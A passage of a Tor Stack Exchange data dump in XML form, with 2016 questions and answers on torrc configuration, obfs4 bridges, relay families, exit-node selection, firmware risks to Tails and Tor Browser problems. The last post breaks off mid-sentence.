  <row Id="11768" PostTypeId="2" ParentId="11766" CreationDate="2016-06-09T13:59:01.677" Score="1" Body="&lt;p&gt;In another question you try to find the &lt;code&gt;torrc&lt;/code&gt; for Tor Browser, if this is being run in a Tor Browser context then the directory likely won't exist and the tor process itself (running as your user) wont have the privileges to create it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should instead use a directory path that your own user could create/control instead of &lt;code&gt;/opt/local/&lt;/code&gt;, second of all if, as it appears your &lt;code&gt;torrc&lt;/code&gt; is not in the default location (determined at compile time) of &lt;code&gt;/opt/local/etc/tor/torrc&lt;/code&gt;, you should run &lt;code&gt;tor --verify-config -f /path/to/your/own/torrc&lt;/code&gt; to check it and &lt;code&gt;tor -f /path/to/your/own/torrc&lt;/code&gt; to run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However this isn't an ideal solution, you should prefer to run the tor process under it's own low-privileged account as a system service. You should try following the Tor Project's instructions for &lt;a href=&quot;https://www.torproject.org/docs/tor-doc-osx.html.en&quot; rel=&quot;nofollow&quot;&gt;installing up Tor on Mac OS X&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-09T13:59:01.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11770" PostTypeId="2" ParentId="11760" CreationDate="2016-06-09T14:57:21.087" Score="0" Body="&lt;p&gt;Maybe but it's not officially supported, see the documentation on &lt;a href=&quot;https://tails.boum.org/doc/advanced_topics/additional_software/index.en.html&quot; rel=&quot;nofollow&quot;&gt;Additional Software&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-09T14:57:21.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11771" PostTypeId="1" CreationDate="2016-06-09T15:17:14.860" Score="4" ViewCount="1702" Body="&lt;p&gt;Consider the following recommendation, taken &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#MultipleRelays&quot; rel=&quot;noreferrer&quot;&gt;from the official FAQ&lt;/a&gt;  :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You should set &lt;code&gt;MyFamily&lt;/code&gt; if you have administrative control of the&#xA;  computers or of their network, even if they're not all in the same&#xA;  geographic location.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Now let's say I operate two relays and apart from who pays the bills, those have nothing in common: they run different OSes on different hardware and are hosted by different ISPs in different countries. Heck, let's even say that they don't run the same Tor version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's also say that I omitted to set the &lt;code&gt;MyFamily&lt;/code&gt; field and consider the rare event where a user selects a circuit that involves both my relays.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;a &lt;em&gt;bad&lt;/em&gt; guy&lt;/strong&gt; (that is, I monitor all traffic passing through), then that's cool because that'll make traffic analysis orders of magnitude easier;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;a &lt;em&gt;good&lt;/em&gt; guy&lt;/strong&gt;, then that's cool because I'm a good guy and I know my relays are clean so the more of my machines that channel involves, the safer it is ultimately.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So the only useful use case I see for the &lt;em&gt;family&lt;/em&gt; property is for a bunch of relays that somehow share the same infrastructure, not the same admin. I know I'm probably wrong thinking this, so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why would I want to set this field?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12396" LastActivityDate="2016-09-01T20:07:22.140" Title="What is the point of a relay family?" Tags="|relays|server-administration|relay-adversary|myfamily|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11773" PostTypeId="2" ParentId="11771" CreationDate="2016-06-09T16:17:08.030" Score="4" Body="&lt;h3&gt;&amp;quot;Why would I want to set this field?&amp;quot;&lt;/h3&gt;&#xA;&lt;p&gt;Because you're a good relay operator and therefor you don't &lt;em&gt;&amp;quot;know&amp;quot;&lt;/em&gt; your relays are &lt;em&gt;&amp;quot;clean&amp;quot;&lt;/em&gt; with certainty &lt;em&gt;[sufficiently advanced stupidity is indistinguishable from malice...]&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Even if you were arrogant enough to believe that they were &lt;em&gt;&amp;quot;clean&amp;quot;&lt;/em&gt; &lt;em&gt;[absence of evidence in not evidence of absence]&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The more relays that are passed through by users that are in your control, the more useful it is for Mallory to do bad things to you to compel you to do bad things on their behalf &lt;em&gt;(&lt;strong&gt;N.B.&lt;/strong&gt; this applies also to anyone playing Mallory, other Mallorys may covet what you have.)&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Some of the attacks on onion routing don't &lt;em&gt;require&lt;/em&gt; Mallory to &lt;em&gt;be&lt;/em&gt; the relay, only to have Eve &lt;em&gt;observe&lt;/em&gt; it. A wiretap order on you may act in effect as a wiretap order on everyone using your infrastructure.&lt;/li&gt;&#xA;&lt;li&gt;It makes it easier for the Tor Project and interested community members to get a better idea of what the network looks like, where diversification should happen and how it could be improved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;hr /&gt;&#xA;&lt;h3&gt;Comment responses&lt;/h3&gt;&#xA;&lt;p&gt;It makes sense for someone running many relays to make themselves as uninteresting a target as possible. Rather than the operator knowing that they do not collude with their own relays, they have the opportunity to tell clients which relays they run. This means that the clients can make a sane decision to avoid using two of the relays in the same circuit and it means that compromise of one or more of the relays in the family would only ever amount to one point of observation on the network for any given circuit.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;&amp;quot;you might [...] be coerced [...] if you operate [...] a single exit node with a high throughput&amp;quot;&lt;/h3&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This data isn't worth much on it's own, it is only a single point in the network. Tor is &lt;em&gt;designed&lt;/em&gt; such that one relay can be Mallory and it would still provide protection for the user from Mallory.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;&amp;quot;what about government agencies...&amp;quot;&lt;/h3&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Just because a large well funded TLA &lt;em&gt;might be able&lt;/em&gt; to do something, does not mean that we should allow lesser adversaries the same opportunity, it is not a zero-sum game. I'd also contest your implicit/loaded assumption that they can &lt;em&gt;&amp;quot;spy on whoever they want without never(sic) having to speak to a judge&amp;quot;&lt;/em&gt;. They are not omniscient and even if they could find a thing out, it may cost them or risk more to act on it than they deem it worth.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-06-10T21:32:57.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11780" PostTypeId="2" ParentId="11765" CreationDate="2016-06-09T20:01:34.407" Score="5" Body="&lt;p&gt;In your &lt;code&gt;torrc&lt;/code&gt; there is the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy --managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Furthermoer the log file states:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Jun 08 21:33:05.000 [warn] Could not launch managed proxy executable at '/usr/bin/obfs4proxy' ('Operation not permitted').&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to the manpage of obfs4proxy there is no option &lt;code&gt;--managed&lt;/code&gt;. This was used for &lt;code&gt;obfsproxy&lt;/code&gt;. So if you delete the option &lt;code&gt;--managed&lt;/code&gt; and restart Tor, it will start and use obfs4proxy.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-06-09T20:01:34.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11781" PostTypeId="1" CreationDate="2016-06-09T22:20:45.157" Score="1" ViewCount="17" Body="&lt;p&gt;I've always launched TOR from a password protected flash drive, (many years).  Version 6.0 gives an error message that path is unavailable and I may not have permission to this file. I am administrator and also manually check administrator box in TOR.  TOR 6.0 runs perfectly from desktop.  I did a clean install on Windows7X64 this week but have been running this setup for many years and the flash always worked.  Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="13213" LastActivityDate="2016-06-09T22:20:45.157" Title="TOR 6.0 no longer opens from flash drive" Tags="|configuration|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11782" PostTypeId="1" CreationDate="2016-06-10T04:44:31.123" Score="2" ViewCount="155" Body="&lt;p&gt;I need to watch an Australian channel on Youtube and for this to be possible I need an Australian ip. While I actually did make it work sometimes with tor+proxy, the IP I keep getting most of the times is the same for Australia and Netherlands. So when I try to access the site it says I'm in the Netherlands and obviously it doesn't work.&#xA;I've already set the &lt;code&gt;ExitNodes {AU} StrictNodes 1&lt;/code&gt; and also &lt;code&gt;ExcludeExitNodes {NL}&lt;/code&gt; to see if it would remove the nl ip from the list and it keeps the same.&#xA;Any way to fix this? Is there any option to set a permanent ip on tor?&lt;/p&gt;&#xA;" OwnerUserId="13215" LastEditorUserId="88" LastEditDate="2016-06-17T06:43:22.110" LastActivityDate="2016-06-17T06:43:22.110" Title="Problem with tor as a Proxy" Tags="|configuration|proxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11783" PostTypeId="1" CreationDate="2016-06-10T04:58:43.657" Score="2" ViewCount="1269" Body="&lt;p&gt;Could someone hack a tails device based on the firmware in it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that there is firmware on devices that tails can be installed on. In new laptops this firmware may connect directly to a sever. This connection will not go through tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Signs that you laptop may have firmware I am talking about are the presents of PXE booting options, firmware update able laptops, Pre OS networking etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also there are laptops with Intel and AMD management engines. I think this management engine means that it can connect to the Internet   directly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the libreboot website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://libreboot.org/faq/#firmware-cpu&quot; rel=&quot;nofollow&quot;&gt;https://libreboot.org/faq/#firmware-cpu&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It states.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;“CPU microcode #firmware-cpu&#xA;Implements an instruction set. See #microcode for a brief description. Here we mean microcode built in to the CPU. We are not talking about the updates supplied by the boot firmware (libreboot does not include microcode updates, and only supports systems that will work without it) Microcode can be very powerful. No proof that it's malicious, but it could theoretically &#xA;There isn't really a way to solve this, unless you use a CPU which does not have microcode. (ARM CPUs don't, but most ARM systems require blobs for the graphics hardware at present, and typically have other things like soldered wifi which might require blobs) &#xA;CPUs often on modern systems have a processor inside it for things like power management. ARM for example, has lots of these.”&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware that this firmware can be used to monitor your computer and in some cases may be able to even monitor your activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is can some one hack a tails device based on this leaking firmware?&lt;/p&gt;&#xA;" OwnerUserId="7814" LastActivityDate="2018-02-09T05:54:48.497" Title="Could someone hack a tails device based on the firmware in it?" Tags="|security|tails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11787" PostTypeId="1" CreationDate="2016-06-10T12:15:51.040" Score="1" ViewCount="1478" Body="&lt;p&gt;i want to create a Tor bridge which:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is not an exit node.&lt;/li&gt;&#xA;&lt;li&gt;I can use to anonymize my connections to the Internet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here are the settings in my &lt;code&gt;torrc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SocksPort 9050&#xA;ORPort 9001&#xA;ExtORPort auto&#xA;Nickname abcdefghijklm&#xA;ContactInfo &amp;lt; name AT xyz dot vw &amp;gt;&#xA;ExitPolicy reject * : *&#xA;BridgeRelay 1&#xA;ServerTransportPlugin obfs3 exec /usr/bin/obfsproxy managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it good? How can it be improved?&lt;/p&gt;&#xA;" OwnerUserId="12726" LastEditorUserId="88" LastEditDate="2016-06-17T06:51:46.617" LastActivityDate="2016-06-17T06:51:46.617" Title="How do I run a bridge with obfs3 pluggable transport?" Tags="|configuration|bridge|pluggable-transports|obfsproxy|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11790" PostTypeId="2" ParentId="11765" CreationDate="2016-06-10T17:43:07.343" Score="2" Body="&lt;p&gt;You could fix your problem with apparmor like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First open &lt;code&gt;/etc/apparmor.d/abstractions/tor&lt;/code&gt; with your favorite editor (with root user)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sudo gedit /etc/apparmor.d/abstractions/tor&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then change the &lt;code&gt;/usr/bin/obfs4proxy PUx,&lt;/code&gt; to &lt;code&gt;/usr/bin/obfs4proxy ix,&lt;/code&gt; and save it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And after that reboot&lt;/p&gt;&#xA;" OwnerUserId="13227" LastActivityDate="2016-06-10T17:43:07.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11791" PostTypeId="2" ParentId="11783" CreationDate="2016-06-10T18:42:31.187" Score="2" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&lt;p&gt;Tails cannot protect you from compromised hardware including BIOS or firmware attacks, as it clearly stated in the &lt;a href=&quot;https://tails.boum.org/doc/about/warning/index.en.html#index3h1&quot; rel=&quot;nofollow noreferrer&quot;&gt;warning page&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h2&gt;Tails does not protect against BIOS or firmware attacks&lt;/h2&gt;&#xA;&lt;p&gt;It is also impossible for Tails to protect against attacks made through the BIOS or other firmware embedded in the computer. These are not managed or provided by the operating system directly, and no operating system can protect against such attacks.&lt;/p&gt;&#xA;&lt;p&gt;See for example, this &lt;a href=&quot;https://www.youtube.com/watch?v=sNYsfUNegEA&quot; rel=&quot;nofollow noreferrer&quot;&gt;attack on BIOS by LegbaCore&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-06-10T18:42:31.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11792" PostTypeId="2" ParentId="11787" CreationDate="2016-06-10T19:09:49.177" Score="1" Body="&lt;p&gt;Bridges aren't published, they won't be used as exits but the reject policy won't cause any harm.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The config looks good and it should work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I might be worth a few small changes though, they may not be relevant to your use case but...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Consider using obfs4 rather than obfs3 for the pluggable transport provider. It's what is currently recommended and it's resistant to more forms of censorship that obfs3. For example an attacker who sees you connecting to an obfs3 IP/Port, could make its own connection and discover that it is a Tor bridge, conversely due to the design of the obfs4 protocol this same attack would not work against it.&lt;/li&gt;&#xA;&lt;li&gt;Consider changing the ORPort to something non-default. Unfortunately the current state of bridges is that they &lt;em&gt;must&lt;/em&gt; expose their ORPort even if it's not going to be used. An ORPort is an obvious fingerprint of a Tor relay (it speaks the OR protocol to anyone that tries) and as such running it on a default port might more readily reveal that it is a bridge to a curious observer.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-10T19:09:49.177" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11793" PostTypeId="1" AcceptedAnswerId="11794" CreationDate="2016-06-10T20:13:23.487" Score="1" ViewCount="784" Body="&lt;p&gt;Can we change it to never for all sites?&lt;/p&gt;&#xA;" OwnerUserId="13228" LastActivityDate="2016-06-10T20:27:02.553" Title="How to disable html5 canvas image data extraction pop up?" Tags="|html5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11794" PostTypeId="2" ParentId="11793" CreationDate="2016-06-10T20:27:02.553" Score="3" Body="&lt;p&gt;There is a ticket for this: &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/19199&quot; rel=&quot;nofollow&quot;&gt;#19199&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can follow and participate in discussion of this functionality there.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-06-10T20:27:02.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11795" PostTypeId="2" ParentId="11782" CreationDate="2016-06-10T21:00:38.447" Score="1" Body="&lt;p&gt;Have a read of &lt;a href=&quot;https://tor.stackexchange.com/questions/9738/tor-circuit-selection/9746#9746&quot;&gt;this answer&lt;/a&gt; for some background but tl;dr:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you and the server have different revisions of the GeoIP database you may potentially disagree about what country the IP is associated with. One &lt;em&gt;or&lt;/em&gt; both of you may be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IP address and geolocation are, ultimately, unrelated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for setting a &quot;permanent IP&quot;, Tor Browser achieves long term exits by using SOCKS authentication based on the top level domain and the &lt;code&gt;KeepAliveIsolateSOCKSAuth&lt;/code&gt; flag on the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#SOCKSPort&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;SOCKSPort&lt;/code&gt;&lt;/a&gt;. This means that while you continue to use a website, Tor Browser will use the same circuit for it. Otherwise there are options like &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#TrackHostExits&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;TrackHostExits&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should take &lt;em&gt;great care&lt;/em&gt; in not interfering with Tor's path selection you should not &lt;em&gt;want&lt;/em&gt; to &quot;set a permanent ip&quot;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-06-10T21:10:05.007" LastActivityDate="2016-06-10T21:10:05.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11796" PostTypeId="1" CreationDate="2016-06-10T22:48:03.550" Score="0" ViewCount="178" Body="&lt;p&gt;Are there any plans to provide integrated (and free) VPN support from within the Tor Browser?  I am interested to see if something similar to this functionality provided by the Opera browser (DEV 39) is in work...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Correct me if I'm wrong, but I believe the following statements are true WRT VPNs and Tor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trusted VPNs provide encryption/authentication functionality to protect packet payload content for a given session connection but do nothing to 'anonymize' traffic routing information. VPNs are data-centric from a security/privacy standpoint and cannot 'help once the active connection goes 'outside' the current VPN tunnel session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tor provides functionality to 'anonymize' packet header information (traffic routing information) within the Tor relay network but does not address packet payload encryption/authentication. Tor is routing-centric from a security/privacy standpoint but cannot 'help' once the active connection goes 'outside' the current exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to spend some additional time putting together a meaningful use case as per the comment below - please bear with me...&lt;/p&gt;&#xA;" OwnerUserId="13229" LastEditorUserId="13229" LastEditDate="2016-06-30T22:21:54.140" LastActivityDate="2016-08-31T08:58:05.907" Title="Plans for integrated (and free) VPN support from within Tor Browser?" Tags="|vpn|" AnswerCount="2" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="11798" PostTypeId="1" AcceptedAnswerId="11831" CreationDate="2016-06-11T04:40:34.887" Score="4" ViewCount="452" Body="&lt;p&gt;I hope someone can help me. I have used Tor only for Facebook since 1/1/15 when terms and conditions allowed them to spy into devices used to log into Facebook. At some stage Facebook kept blocking me from entry and then my use of core onion solved that. However the past 3 days I can log into fb BUT I can not post directly on my personal page OR any of the pages or groups I admin in. I can only share to them. I am unable to edit any of my shared posts to those pages once I have posted them either. Any attempt to do so immediately crashes TOR and it closes. However I can like, comment and edit on any and all other posts that are not under my admin control. I keep getting crashes and Tor Browser closing after I have moved through several pages on reloads. The only time it doesn't crash is if I stay on the home page so long as I don't try to post a status. I have checked for Tor updates and it says I have the latest. Does anyone know why this might be happening?? BTW I am not an IT whiz by any means of the imagination, so hope someone can simplify the answer if there is one. Cheers :) PS I forgot to mention that prior to 3 days ago I could also have multiple fb windows open and now if a second one is opened Tor Browser crashes again.&lt;/p&gt;&#xA;" OwnerUserId="13233" LastEditorUserId="12198" LastEditDate="2016-06-13T17:34:09.397" LastActivityDate="2016-07-15T10:44:52.523" Title="Tor Browser crashes when I use facebook" Tags="|tor-browser-bundle|help|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11801" PostTypeId="1" CreationDate="2016-06-11T15:43:16.673" Score="2" ViewCount="195" Body="&lt;p&gt;My ISP blocks OpenVPN but i can connect to Tor using obfsproxy &lt;strong&gt;(I have to add a socks proxy to obfsproxy config otherwise it won't work either)&lt;/strong&gt;. I used obfsproxy as a socks proxy (localhost 9150) in my OpenVPN configuration and when I did that OpenVPN connected to it's server but the problem is when OpenVPN connected, Tor went down because OpenVPN uses Tor to see internet when Tor itself try to use OpenVPN to see internet ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is a solution. When i use Terminal to make a ssh tunnel (&lt;em&gt;that is now blocked by ISP&lt;/em&gt;) and use that tunnel for Openvpn, everything works fine and ssh connection in Terminal won't drop when OpenVPN connects to VPN server. I want to know how I can make an obfsproxy connection using Terminal?&lt;/p&gt;&#xA;" OwnerUserId="13239" LastActivityDate="2016-06-11T15:43:16.673" Title="How to connect through Terminal in OSx" Tags="|socks|censorship|obfsproxy|openvpn|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11802" PostTypeId="1" CreationDate="2016-06-11T20:58:16.670" Score="2" ViewCount="153" Body="&lt;p&gt;I think it is possible to connect to Tor on dial-up on Linux. Is it possible? Because I don't have access to dial-up Internet in my home, I ask this question.&lt;/p&gt;&#xA;" OwnerUserId="13240" LastEditorUserId="13240" LastEditDate="2016-06-12T08:48:03.063" LastActivityDate="2016-06-12T08:48:03.063" Title="Can Tor work on dial-up?" Tags="|speed|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11805" PostTypeId="1" CreationDate="2016-06-12T08:00:53.297" Score="0" ViewCount="340" Body="&lt;p&gt;I edited the &lt;code&gt;torrc-defaults&lt;/code&gt; file and added the line &lt;code&gt;ExitNodes {GB}&lt;/code&gt; to get a UK exit node. (I myself am &lt;em&gt;not&lt;/em&gt; in the UK.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seemed to work, here's what &lt;a href=&quot;http://dnsleaktest.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;dnsleaktest.com&lt;/a&gt; tells me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/IvWTD.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IvWTD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, other sites, like &lt;a href=&quot;http://whatismyip.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;whatismyip.com&lt;/a&gt; seem to disagree on where I am and what my IP is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oGgU4.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oGgU4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google also thinks I'm in France. If I go to google.com, I am redirected to google.fr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is all within a single session. This happens even if I go to all these sites at the same time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening? I'm looking for a technical description of it's possible for different sites can think I'm in different places. (A solution to the problem would be cool, too.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, I'm using Tor Browser 5.5.5 on OS X 10.10.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; I've tried to add &lt;code&gt;StrictNodes 1&lt;/code&gt; and &lt;code&gt;ExcludeNodes {fr}&lt;/code&gt;, but it didn't change the output of whatismyip.com. Google.com did stop redirecting me to google.fr .&lt;/p&gt;&#xA;" OwnerUserId="9752" LastEditorUserId="9752" LastEditDate="2016-06-12T20:05:32.000" LastActivityDate="2016-06-12T21:19:27.547" Title="Why do I seem to have different IP addresses at the same time?" Tags="|exit-relays|ip-address|location|" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="11806" PostTypeId="1" CreationDate="2016-06-12T08:17:30.777" Score="0" ViewCount="196" Body="&lt;p&gt;Since I updated to 6.0.1 I cannot download any document from Tor to my desktop. I use the download button at the upper right corner (five icons: full screen-print-download-other-doublearrow) that appear when a pdf document is shown up, but nothing happens.&#xA;I have to open another browser, copy the url and download from it. Haven't changed parameters from default.&#xA;I run OSX 10.7.5 on an end 2006 iMac.&lt;/p&gt;&#xA;" OwnerUserId="13246" LastEditorUserId="88" LastEditDate="2016-06-17T06:58:36.620" LastActivityDate="2016-06-22T03:45:31.950" Title="Cannot download documents since updated to 6.0.1" Tags="|tor-browser-bundle|mac|tor-button|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11807" PostTypeId="1" CreationDate="2016-06-12T09:32:24.100" Score="0" ViewCount="326" Body="&lt;p&gt;I see something like the following line in log:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WARN: Recived 404 Status Code &quot;Not Found&quot; from server [IP:Port] while fetching &quot;/tor/keys/fp/[hash refrence here]&quot; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Two very intresting things come up on investigation:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The involved IP is not a Tor node according to atlas, and i know it isn't a bridge node.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To my understanding Tor isn't supposed to be an HTTP server, but rather a SOCKS server, so it begs me to reason why tor would be making an HTTP request for some sort of key in the first place. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Really makes me wonder whats going on. &lt;/p&gt;&#xA;" OwnerUserId="13247" LastEditorUserId="88" LastEditDate="2016-06-15T06:26:25.010" LastActivityDate="2016-06-15T06:43:51.597" Title="Weird Message in Orbot logs?" Tags="|anonymity|security|directory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11808" PostTypeId="1" CreationDate="2016-06-12T09:33:14.953" Score="2" ViewCount="1808" Body="&lt;p&gt;I am using linuxmint, trying to run Tor browser from removable usb drive, don't want to leave it on HDD.&#xA;Tried to unpack Tor browser to USB, but it wont work.&#xA;'start-tor-browser.desktop' is set to home folder on HDD. &#xA;is it enough to change path in that file?&#xA;I am new to linux, appreciate some help. Did someone tried this?&#xA;Will it leave any trace on that machine?&lt;/p&gt;&#xA;" OwnerUserId="13248" LastActivityDate="2016-07-12T23:58:19.527" Title="Linux install Tor Browser to USB?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11809" PostTypeId="1" CreationDate="2016-06-12T11:43:49.030" Score="3" ViewCount="2377" Body="&lt;p&gt;i am using the newest tbb version 6.0.1 on ubuntu 12.04. i wanted to know, if it is possible (and recommended) to start tbb with another user, for example user &quot;tor_browser&quot;? i just found that issue: &lt;a href=&quot;https://tor.stackexchange.com/questions/9080/use-tor-browser-as-non-root-linux&quot;&gt;Use Tor browser as non-root Linux&lt;/a&gt; but i had no success doing that way. i tried as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;created new user &quot;tor_browser&quot;&lt;/li&gt;&#xA;&lt;li&gt;copied the tbb in the home dir of that user&lt;/li&gt;&#xA;&lt;li&gt;changed terminal dir to the tor_browser_LANG folder&lt;/li&gt;&#xA;&lt;li&gt;used this command: gksu -w -u tor_browser ./start-tor-browser.desktop &lt;/li&gt;&#xA;&lt;li&gt;entered password for user tor_browser&lt;/li&gt;&#xA;&lt;li&gt;the terminal shows: Launching './Browser/start-tor-browser --detach'... &#xA;but nothing 